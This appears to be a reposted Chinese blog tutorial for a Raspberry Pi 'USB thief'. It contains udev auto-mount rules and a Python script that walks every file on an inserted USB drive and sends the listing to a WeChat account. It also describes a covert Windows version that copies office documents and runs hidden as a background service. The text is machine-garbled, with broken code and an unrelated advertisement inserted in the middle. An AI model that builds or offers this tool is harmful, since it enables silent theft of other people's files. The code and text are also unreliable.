如何制作病毒u盘自动运行-(怎么制作病毒u盘)
如何制作病毒u盘自动运行。
(如何制作病毒u盘)。
本文转自爱板网,作者斗战神。
最近一直在学习Python随着研究的深入,爬虫可能会被爬虫技术感染,并开始对获取他人的数据感兴趣,Python写网页爬虫是为了获取别人网站上的数据,可以用吗?Python写一个程序来获取别人U盘上的数据!研究了一些在线程序,结合手中的程序可以带来无限的快乐RaspberryPi,我开始制作我的第一个简单的黑客工具U-disk-thief(U盘小偷)。
我们要实现的效果是,当有U盘插入到树莓派的USB插入时,将生成插入U盘中文件的名称和路径信息TXT格式文件,然后传输到您制定的微信,程序执行的速度取决于U盘中的文件数量。
这里有一个解释,写这个程序不是为了窃取别人的数据和隐私,只是为了Python学习编程和技术。另一方面,我周围的U盘没有值得获取的有价值的数据。相反,U盘携带各种蠕虫病毒和宏病毒。我经常来找我帮忙杀死U盘或恢复U盘中隐藏的文件。我真的不想把这些U盘链接到电脑上!好了,话不多说,开始我们的生产过程吧!。
1。准备材料。
(1)树莓派。
(2)两部智能手机可以登录微信(分别用于登录两个朋友的微信号)。
(3)U盘一个。
2。树莓派链接U盘自动识别。
因为安装在树莓派上的是树莓派Linux系统,无法自动识别和悬挂插入的U盘,生产前需要在树莓派上设置,实现链接U盘的自动识别,方法如下:。
将命令输入树莓派。
sudonano/etc/udev/rules。d/10-usbstorage。rules。
嵌入式物联网真的需要学到很多东西,不要学错路线和内容,导致工资不上去!。
免费分享一个信息包,大约150G。
免费分享一个信息包,大约150G。学习路线、面经、项目都比较新也比较全面!估计至少要买几十条鱼。
点击这里找小助理0元领取:嵌入式物联网学习资料(头条)。
将脚本复制粘贴到编辑窗口。
KERNEL!=“sd*”,GOTO=“media_by_label_auto_mount_end”。
SUBSYSTEM!=“block”,GOTO=“media_by_label_auto_mount_end”。
IMPORTrogram}=“/sbin/blkid-oudev-p%N”。
ENV{ID_FS_TYPE}=='“,GOTO=”media_by_label_auto_mount_end“。
ENV{ID_FS_LABEL}!=”“,ENV{dir_name}=”%E{ID_FS_LABEL}“。
ENV{ID_FS_LABEL}==”“,ENV{dir_name}=”Untitled-%k“。
ACTION==”add“,ENV{mount_options}=”relatime,sync“。
ACTION==”add“,ENV{ID_FS_TYPE}==”vfat“,ENV{mount_options}=”iocharset=utf8,umask=000“。
ACTION==”add“,ENV{ID_FS_TYPE}==”ntfs“,ENV{mount_options}=”iocharset=utf8,umask=000“。
ACTION==”add“,RUN=”/bin/mkdir-p/media/%E{dir_name}“,RUN=”/bin/mount-o$env{mount_options}/dev/%k/media/%E{dir_name}“。
ACTION==”remove“,ENV{dir_name}!=”“,RUN=”/bin/umount-l/media/%E{dir_name}“,RUN=”/bin/rmdir/media/%E{dir_name}“。
LABEL=”media_by_label_auto_mount_end“。
保存退出!。
再次插入U盘设备会自动挂载/media目录下的目录被识别为Untitled-sda1(路径为/media/Untitled-sda1。记住这条路径,以后我们会用的),实现自动识别后,可支持U盘utf8格式中文文件名。
3。python代码。
importos。
importtime。
importshutil。
importstring。
fromwxpyimport*。
#识别U盘路径。
USB=‘/media/Untitled-sda1’。
#生成TXT保存文件的路径。
SAVE=‘/home/pi/usbdisk-copy/’。
OLD=[]。
#微信机器人的初始化。
bot=Bot()。
my_friend=bot。friends()。search(‘高杆’)[0]。
##获取U盘信息的函数。
defusbWalker():。
ifnotos。path。exists(SAVE):。
os。mkdir(SAVE)。
filename=”u-copy。txt“。
f=open(filename,”w')。
forroot,dirs,filesinos。walk(USB):。
forfileinfiles:。
export=os。path。join(root,file)。
f。writelines(export‘。
f。close。
#检测U盘是否重复函数。
defgetusb():。
globalOLD。
NEW=os。listdir(USB)。
if(len(NEW)==len(OLD)):。
return0。
else:。
OLD=NEW。
return1。
#执行程序检测U盘是否插入,并处理!。
whileTRUE:。
ifos。path。exists(USB):。
ifgetusb():。
try:。
usbWalker()。
try:。
my_friend。send_file(’u-copy。txt‘)。
except:。
my_friend。send(’SendError‘)。
except:。
pass。
else:。
pass。
#设置程序执行间隔10秒。
time。sleep(10)。
。代码解析。
程序代码更容易理解,首先是检测指定系统路径下的文件夹是否存在,即U盘插入显示的文件夹USB=/media/Untitled-sda1。如果没有,间隔10秒再次检测。如果发现U盘,则执行获取U盘信息的函数defusbWalker(),产生一个函数u-copy。txt存储文本文件’/home/pi/usbdisk-copy/';路径下,注意这里usbdisk-copy我们提前建了文件夹,Python该路径还存储程序文件,u-copy。txt文件生成后将发送到制定的微信中。如果U盘一直插在树莓派上,程序一直在进行,会反复生成u-copy。txt文件,这是不合理的,所以在执行中生成txt在文件函数之前,检测U盘是否重复的函数defgetusb(),进行简单的重复比较,如果发现重复,则不执行defusbWalker()函数。这个程序也可以修改windows系统执行,修改代码,增加文件复制函数,不仅可以读取U盘的文件名称和路径,还可以读取U盘的文件名称和路径copy或者可以指定文件的详细内容copyU盘中那些类型的文件(。doc/。xls/。ppt/。txt。),还可以节省微信发送环节,将copy由于树莓派的存储空间相对较小,这里没有存储文件,但我在这里windows上述扩展程序已在系统上完成并使用Python的打包工具pyinstaller将程序打包成。exe还设置了执行程序windows本地服务后台运行,让U盘数据更加不知不觉。以上是这个简单的黑客工具,纯粹是为了技术分享。如果你这样做了一些事情badthing,请自负后果。你脑子里已经想过了吗?copy谁的U盘!谨慎,谨慎!转载自:单片机爱好者。
原文链接:Python树莓派制作简单的黑客工具U-disk-thief(U盘小偷)版权声明:本文来源于网络,版权归原作者所有。如涉及作品版权,请联系我删除。